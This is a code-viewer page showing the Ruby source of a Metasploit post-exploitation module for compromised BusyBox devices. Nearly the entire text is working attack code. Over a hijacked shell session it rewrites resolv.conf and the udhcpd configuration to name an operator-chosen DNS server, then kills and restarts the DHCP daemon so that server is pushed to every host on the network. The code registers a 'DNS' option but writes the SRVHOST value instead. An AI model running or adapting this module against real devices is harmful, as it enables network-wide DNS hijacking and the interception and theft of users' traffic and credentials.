Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/linux/busybox/set_dns.rb
Views: 11704
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Linux::BusyBox89def initialize10super(11'Name' => 'BusyBox DNS Configuration',12'Description' => %q{13This module will be applied on a session connected to a BusyBox shell. It allows14to set the DNS server on the device executing BusyBox so it will be sent by the15DHCP server to network hosts.16},17'Author' => 'Javier Vicente Vallejo',18'License' => MSF_LICENSE,19'Platform' => ['linux'],20'SessionTypes' => ['shell']21)2223register_options(24[25OptAddress.new('DNS', [ true, 'The dns server address' ])26]27)28end2930def run31print_status('Searching for files to modify dns server.')32if busy_box_file_exist?('/etc/resolv.conf')33modify_resolv_conf34end3536if busy_box_file_exist?('/etc/udhcpd.conf')37modify_udhcpd_conf38end39end4041def modify_resolv_conf42print_status('File /etc/resolv.conf found')43if busy_box_write_file('/etc/resolv.conf', "nameserver #{datastore['SRVHOST']}", false)44print_good('DNS server added to resolv.conf')45end46end4748def modify_udhcpd_conf49print_status('File /etc/udhcpd.conf found')5051if busy_box_write_file('/etc/udhcpd.conf', "option dns #{datastore['SRVHOST']}", true)52restart_dhcpd('/etc/udhcpd.conf')53else54print_status('Unable to write udhcpd.conf, searching a writable directory...')55writable_directory = busy_box_writable_dir56if writable_directory57print_status("Copying the original udhcpd.conf to #{writable_directory}tmp.conf")58cmd_exec("cp -f /etc/udhcpd.conf #{writable_directory}tmp.conf")59Rex.sleep(0.3)60print_status("Adding DNS to #{writable_directory}tmp.conf")61busy_box_write_file("#{writable_directory}tmp.conf", "option dns #{datastore['SRVHOST']}", true)62restart_dhcpd("#{writable_directory}tmp.conf")63else64print_error('Writable directory not found')65end66end67end6869def restart_dhcpd(conf)70print_status('Restarting udhcp server')71cmd_exec('killall dhcpd')72# in this case it is necessary to use shell_write. Cmd_exec introduce an echo after the command73# that is going to be executed: <command>;echo <rand_value>. It seems busybox fails to launch dhcpd74# process when it is executed in this way: "dhcpd /etc/udhcpd.conf &; echo <rand_value>"75session.shell_write("dhcpd #{conf} &\n")76print_good('udhcpd.conf modified and DNS server added. DHCPD restarted')77end78end798081